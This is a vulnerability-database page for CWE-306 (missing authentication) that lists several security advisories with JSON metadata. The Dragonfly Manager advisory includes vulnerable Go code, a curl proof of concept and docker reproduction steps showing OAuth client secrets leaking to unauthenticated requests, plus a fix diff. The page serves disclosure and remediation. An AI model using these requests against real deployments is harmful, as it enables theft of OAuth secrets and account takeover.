CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3465 vulnerabilities reference this CWE, most recent first.
GHSA-4PQM-J46F-795X
Vulnerability from github – Published: 2026-06-17 21:34 – Updated: 2026-06-19 14:47Hermes Agent before 0.16.0 contains a DNS rebinding vulnerability in WebSocket endpoints that allows remote attackers to bypass Host and Origin validation. FastAPI HTTP middleware does not execute for WebSocket upgrade requests on /api/pty, /api/ws, /api/pub, and /api/events endpoints, enabling attackers to exploit DNS rebinding and inject malicious commands or read terminal output.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "hermes-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53869"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:47:03Z",
"nvd_published_at": "2026-06-17T19:18:10Z",
"severity": "HIGH"
},
"details": "Hermes Agent before 0.16.0 contains a DNS rebinding vulnerability in WebSocket endpoints that allows remote attackers to bypass Host and Origin validation. FastAPI HTTP middleware does not execute for WebSocket upgrade requests on /api/pty, /api/ws, /api/pub, and /api/events endpoints, enabling attackers to exploit DNS rebinding and inject malicious commands or read terminal output.",
"id": "GHSA-4pqm-j46f-795x",
"modified": "2026-06-19T14:47:03Z",
"published": "2026-06-17T21:34:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53869"
},
{
"type": "WEB",
"url": "https://github.com/NousResearch/hermes-agent/pull/30221"
},
{
"type": "WEB",
"url": "https://github.com/NousResearch/hermes-agent/pull/31685"
},
{
"type": "WEB",
"url": "https://github.com/NousResearch/hermes-agent/commit/d9ec90585cf7616b5972e44cf8d92bb569fc3feb"
},
{
"type": "PACKAGE",
"url": "https://github.com/NousResearch/hermes-agent"
},
{
"type": "WEB",
"url": "https://github.com/NousResearch/hermes-agent/releases/tag/v2026.6.5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hermes-agent-dns-rebinding-bypass-via-websocket-endpoints"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hermes Agent contains a DNS rebinding vulnerability in WebSocket endpoints that allows remote attackers to bypass Host and Origin validation"
}
GHSA-4Q2C-288H-F42X
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-12 15:30The WooCommerce - Social Login plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.7.5. This is due to the use of loose comparison of the activation code in the 'woo_slg_confirm_email_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the userID. This requires the email module to be enabled.
{
"affected": [],
"aliases": [
"CVE-2024-7503"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T13:38:43Z",
"severity": "CRITICAL"
},
"details": "The WooCommerce - Social Login plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.7.5. This is due to the use of loose comparison of the activation code in the \u0027woo_slg_confirm_email_user\u0027 function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the userID. This requires the email module to be enabled.",
"id": "GHSA-4q2c-288h-f42x",
"modified": "2024-08-12T15:30:52Z",
"published": "2024-08-12T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7503"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/social-login-wordpress-woocommerce-plugin"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3b727ba-b39c-4a98-a6a6-ea33785079f6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4Q54-FJQV-3CJF
Vulnerability from github – Published: 2022-08-04 00:00 – Updated: 2022-08-10 00:00This vulnerability allows remote attackers to execute arbitrary code on affected installations of BMC Track-It! 20.21.2.109. Authentication is not required to exploit this vulnerability. The specific flaw exists within the authorization of HTTP requests. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-16709.
{
"affected": [],
"aliases": [
"CVE-2022-35865"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-03T16:15:00Z",
"severity": "CRITICAL"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of BMC Track-It! 20.21.2.109. Authentication is not required to exploit this vulnerability. The specific flaw exists within the authorization of HTTP requests. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-16709.",
"id": "GHSA-4q54-fjqv-3cjf",
"modified": "2022-08-10T00:00:21Z",
"published": "2022-08-04T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35865"
},
{
"type": "WEB",
"url": "https://community.bmc.com/s/article/Security-vulnerabilities-patched-in-Track-It-Version-2"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-968"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4Q9J-6299-GXMR
Vulnerability from github – Published: 2026-07-02 19:21 – Updated: 2026-07-02 19:21Summary
The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.
Affected versions
github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.
Privilege required
Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).
Vulnerable code
manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:
// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)
Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)
Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.
The handler at manager/handlers/oauth.go:127-141 returns the model directly:
func (h *Handlers) GetOauth(ctx *gin.Context) {
var params types.OauthParams
if err := ctx.ShouldBindUri(¶ms); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
ctx.JSON(http.StatusOK, oauth)
}
manager/handlers/oauth.go:155-171 has the parallel list handler:
func (h *Handlers) GetOauths(ctx *gin.Context) {
var query types.GetOauthsQuery
if err := ctx.ShouldBindQuery(&query); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
h.setPaginationDefault(&query.Page, &query.PerPage)
oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
ctx.JSON(http.StatusOK, oauth)
}
manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:
type Oauth struct {
BaseModel
Name string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
BIO string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
ClientID string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
RedirectURL string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}
How an unauthenticated request reaches the OAuth client_secret
gin.EngineroutesGET /api/v1/oauth/:idto theoagroup registered atmanager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypassesjwt.MiddlewareFunc()(which would have set or rejectedc.Get("id")) andmiddlewares.RBAC()(which would have called Casbin enforcement).- The request enters
h.GetOauth(manager/handlers/oauth.go:127), which binds the:idpath parameter and callsh.service.GetOauth. service.GetOauth(manager/service/oauth.go) doess.db.First(&oauth, id)and returns the populatedmodels.Oauth.- The handler calls
ctx.JSON(http.StatusOK, oauth). TheClientSecretfield is serialized asclient_secretin the response body.
There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.
Proof of concept
# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
# has been registered via the authenticated POST /api/v1/oauth path.)
curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool
Both calls return HTTP 200 with a JSON body that includes client_secret.
End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)
Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:
mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
/Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).
cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
redis:
image: redis:6-alpine
container_name: dragonfly-redis
command: --requirepass dragonfly
mysql:
image: mariadb:10.6
container_name: dragonfly-mysql
environment:
- MARIADB_USER=dragonfly
- MARIADB_PASSWORD=dragonfly
- MARIADB_DATABASE=manager
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
manager:
image: dragonflyoss/manager:v2.4.3
container_name: dragonfly-manager
depends_on: [redis, mysql]
restart: on-failure
volumes:
- ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
ports:
- "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:
# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
"USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
-H 'Content-Type: application/json' \
-d '{"name":"admin","password":"adminpass123"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
curl -s -X POST http://localhost:18080/api/v1/oauth \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
"client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'
Captured run output of the actual attack (unauthenticated client):
=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401
=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}
]
=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
"id": 1,
"name": "github",
"client_id": "FAKE_CLIENT_ID_abc123",
"client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
"redirect_url": ""
}
Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.
Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.
Impact
- The OAuth sign-in feature is
not actually used in practice within the Dragonfly project itself. - Unauthenticated disclosure of OAuth
client_secretfor GitHub / Google providers. Aclient_secretpermits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL. - The same row also exposes
client_idandredirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow. - Tenants who exposed the Manager's REST port (
8080/tcp, default in the project'sdocker-compose.yamland Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).
Suggested fix
Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.
--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
- oa := apiv1.Group("/oauth")
- oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
- oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
- oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
- oa.GET(":id", h.GetOauth)
- oa.GET("", h.GetOauths)
+ oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+ oa.POST("", h.CreateOauth)
+ oa.DELETE(":id", h.DestroyOauth)
+ oa.PATCH(":id", h.UpdateOauth)
+ oa.GET(":id", h.GetOauth)
+ oa.GET("", h.GetOauths)
--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
- ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+ ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`
The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.
Fix PR
https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).
Workarounds
The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.3"
},
"package": {
"ecosystem": "Go",
"name": "d7y.io/dragonfly/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49254"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:21:30Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe Dragonfly Manager exposes `GET /api/v1/oauth` and `GET /api/v1/oauth/:id` to unauthenticated clients. The response body deserializes the entire `manager/models.Oauth` struct, which includes the `client_secret` field. Any network-reachable attacker can read the OAuth client secrets configured for `github` or `google` providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.\n\n### Affected versions\n\n`github.com/dragonflyoss/dragonfly` `\u003c= v2.4.3` (and current `main` at commit `46a8f1e`). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added `jwt + rbac` middleware to the `/jobs` group.\n\n### Privilege required\n\nUnauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via `POST /api/v1/oauth` (a one-time setup for tenants that enable GitHub / Google sign-in).\n\n### Vulnerable code\n\n[`manager/router/router.go:134-140`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L134-L140) (v2.4.3) \u2014 the `/oauth` group registration:\n\n```go\n// Oauth.\noa := apiv1.Group(\"/oauth\")\noa.POST(\"\", jwt.MiddlewareFunc(), rbac, h.CreateOauth)\noa.DELETE(\":id\", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)\noa.PATCH(\":id\", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)\noa.GET(\":id\", h.GetOauth)\noa.GET(\"\", h.GetOauths)\n```\n\nNote the asymmetry inside the same `oa` route group: `POST`, `PATCH`, and `DELETE` explicitly attach `jwt.MiddlewareFunc(), rbac` as per-route middleware, but the two `GET` handlers omit both. Compare with the sibling group three lines below at [`manager/router/router.go:143-148`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L143-L148), the `/clusters` group:\n\n```go\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\nc.POST(\"\", h.CreateCluster)\nc.DELETE(\":id\", h.DestroyCluster)\nc.PATCH(\":id\", h.UpdateCluster)\nc.GET(\":id\", h.GetCluster)\nc.GET(\"\", h.GetClusters)\n```\n\nHere the middleware pair is attached once at the group level, so every verb on `/clusters` is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the `/jobs` group. This is `sibling-method-dispatch-target` of the AP-012 sub-shape lens: same module, same router file, same anchor primitive (\"group lacking JWT + RBAC\"), parallel GET methods missed.\n\nThe handler at [`manager/handlers/oauth.go:127-141`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L127-L141) returns the model directly:\n\n```go\nfunc (h *Handlers) GetOauth(ctx *gin.Context) {\n\tvar params types.OauthParams\n\tif err := ctx.ShouldBindUri(\u0026params); err != nil {\n\t\tctx.JSON(http.StatusUnprocessableEntity, gin.H{\"errors\": err.Error()})\n\t\treturn\n\t}\n\n\toauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)\n\tif err != nil {\n\t\tctx.Error(err) // nolint: errcheck\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, oauth)\n}\n```\n\n[`manager/handlers/oauth.go:155-171`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L155-L171) has the parallel list handler:\n\n```go\nfunc (h *Handlers) GetOauths(ctx *gin.Context) {\n\tvar query types.GetOauthsQuery\n\tif err := ctx.ShouldBindQuery(\u0026query); err != nil {\n\t\tctx.JSON(http.StatusUnprocessableEntity, gin.H{\"errors\": err.Error()})\n\t\treturn\n\t}\n\n\th.setPaginationDefault(\u0026query.Page, \u0026query.PerPage)\n\toauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)\n\tif err != nil {\n\t\tctx.Error(err) // nolint: errcheck\n\t\treturn\n\t}\n\n\th.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))\n\tctx.JSON(http.StatusOK, oauth)\n}\n```\n\n[`manager/models/oauth.go:19-26`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/models/oauth.go#L19-L26) declares `ClientSecret` with no `json:\"-\"` tag, so it is serialized into every response:\n\n```go\ntype Oauth struct {\n\tBaseModel\n\tName string `gorm:\"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name\" json:\"name\"`\n\tBIO string `gorm:\"column:bio;type:varchar(1024);comment:biography\" json:\"bio\"`\n\tClientID string `gorm:\"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2\" json:\"client_id\"`\n\tClientSecret string `gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"client_secret\"`\n\tRedirectURL string `gorm:\"column:redirect_url;type:varchar(1024);comment:authorization callback url\" json:\"redirect_url\"`\n}\n```\n\n### How an unauthenticated request reaches the OAuth client_secret\n\n1. `gin.Engine` routes `GET /api/v1/oauth/:id` to the `oa` group registered at [`manager/router/router.go:135`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L135). Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses `jwt.MiddlewareFunc()` (which would have set or rejected `c.Get(\"id\")`) and `middlewares.RBAC()` (which would have called Casbin enforcement).\n2. The request enters `h.GetOauth` ([`manager/handlers/oauth.go:127`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L127)), which binds the `:id` path parameter and calls `h.service.GetOauth`.\n3. `service.GetOauth` ([`manager/service/oauth.go`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/service/oauth.go)) does `s.db.First(\u0026oauth, id)` and returns the populated `models.Oauth`.\n4. The handler calls `ctx.JSON(http.StatusOK, oauth)`. The `ClientSecret` field is serialized as `client_secret` in the response body.\n\nThere is no PVR-style validator, no schema filter, no `omitempty`, and no DTO projection on the way. The audit middleware records the request as `actor=unknown`.\n\n### Proof of concept\n\n```bash\n# (Assume Manager is reachable at $MANAGER and at least one OAuth provider\n# has been registered via the authenticated POST /api/v1/oauth path.)\n\ncurl -s $MANAGER/api/v1/oauth | python3 -m json.tool\ncurl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool\n```\n\nBoth calls return `HTTP 200` with a JSON body that includes `client_secret`.\n\n### End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)\n\nBoot the deployment with the project\u0027s stock `deploy/docker-compose` stack reduced to the Manager + its MySQL + Redis dependencies:\n\n```bash\nmkdir -p /Users/rick/df2-poc/config\ncp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \\\n /Users/rick/df2-poc/config/manager.yaml\n# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379\n# enable the default JWT key line (the template ships it already).\n\ncat \u003e /Users/rick/df2-poc/docker-compose.yaml \u003c\u003c\u0027YAML\u0027\nservices:\n redis:\n image: redis:6-alpine\n container_name: dragonfly-redis\n command: --requirepass dragonfly\n mysql:\n image: mariadb:10.6\n container_name: dragonfly-mysql\n environment:\n - MARIADB_USER=dragonfly\n - MARIADB_PASSWORD=dragonfly\n - MARIADB_DATABASE=manager\n - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes\n manager:\n image: dragonflyoss/manager:v2.4.3\n container_name: dragonfly-manager\n depends_on: [redis, mysql]\n restart: on-failure\n volumes:\n - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro\n ports:\n - \"18080:8080\"\nYAML\ndocker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d\nuntil curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done\n```\n\nBootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:\n\n```bash\n# Sign up + promote to root via the casbin_rule table (no other admin yet).\ncurl -s -X POST http://localhost:18080/api/v1/users/signup \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"admin\",\"password\":\"adminpass123\",\"email\":\"admin@example.com\"}\u0027\ndocker exec dragonfly-mysql mysql -uroot -e \\\n \"USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES (\u0027g\u0027,\u00272\u0027,\u0027root\u0027);\"\ndocker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager\nuntil curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done\n\nTOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"admin\",\"password\":\"adminpass123\"}\u0027 \\\n | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"token\"])\u0027)\n\ncurl -s -X POST http://localhost:18080/api/v1/oauth \\\n -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"github\",\"client_id\":\"FAKE_CLIENT_ID_abc123\",\n \"client_secret\":\"FAKE_CLIENT_SECRET_supersensitive_xyz789\"}\u0027\n```\n\nCaptured run output of the actual attack (unauthenticated client):\n\n```\n=== [0] Baseline: /api/v1/clusters demands auth ===\nHTTP 401\n=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===\nHTTP 401\n\n=== [ATTACK A] Unauthenticated GET /api/v1/oauth -\u003e secret leaks ===\nHTTP 200\n[\n {\n \"id\": 1,\n \"name\": \"github\",\n \"client_id\": \"FAKE_CLIENT_ID_abc123\",\n \"client_secret\": \"FAKE_CLIENT_SECRET_supersensitive_xyz789\",\n \"redirect_url\": \"\"\n }\n]\n\n=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -\u003e secret leaks ===\nHTTP 200\n{\n \"id\": 1,\n \"name\": \"github\",\n \"client_id\": \"FAKE_CLIENT_ID_abc123\",\n \"client_secret\": \"FAKE_CLIENT_SECRET_supersensitive_xyz789\",\n \"redirect_url\": \"\"\n}\n```\n\nInterpretation: `/api/v1/clusters` and `/api/v1/jobs` both reject the unauthenticated curl with `401 Unauthorized` (the JWT + RBAC stack engages). The OAuth GETs return `200 OK` plus the full row including `client_secret`. The Manager\u0027s own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.\n\nFix verification (after applying the patch in the next section), the same harness must return `401 Unauthorized` for both attack steps.\n\n### Impact\n\n- The OAuth sign-in feature is `not actually used in practice within the Dragonfly project itself`.\n- Unauthenticated disclosure of OAuth `client_secret` for GitHub / Google providers. A `client_secret` permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider\u0027s redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager\u0027s own redirect URL.\n- The same row also exposes `client_id` and `redirect_url`, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.\n- Tenants who exposed the Manager\u0027s REST port (`8080/tcp`, default in the project\u0027s `docker-compose.yaml` and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.\n\nCWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).\n\n### Suggested fix\n\nMove the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (`/clusters`, `/scheduler-clusters`, `/seed-peers`, `/configs`, `/jobs` after GHSA-j8hf, etc.). Additionally, drop `ClientSecret` from any read response by marking it `json:\"-\"` on the model, so even a future router regression cannot leak it.\n\n```diff\n--- a/manager/router/router.go\n+++ b/manager/router/router.go\n@@ Oauth.\n- oa := apiv1.Group(\"/oauth\")\n- oa.POST(\"\", jwt.MiddlewareFunc(), rbac, h.CreateOauth)\n- oa.DELETE(\":id\", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)\n- oa.PATCH(\":id\", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)\n- oa.GET(\":id\", h.GetOauth)\n- oa.GET(\"\", h.GetOauths)\n+ oa := apiv1.Group(\"/oauth\", jwt.MiddlewareFunc(), rbac)\n+ oa.POST(\"\", h.CreateOauth)\n+ oa.DELETE(\":id\", h.DestroyOauth)\n+ oa.PATCH(\":id\", h.UpdateOauth)\n+ oa.GET(\":id\", h.GetOauth)\n+ oa.GET(\"\", h.GetOauths)\n```\n\n```diff\n--- a/manager/models/oauth.go\n+++ b/manager/models/oauth.go\n@@ type Oauth struct {\n- ClientSecret string 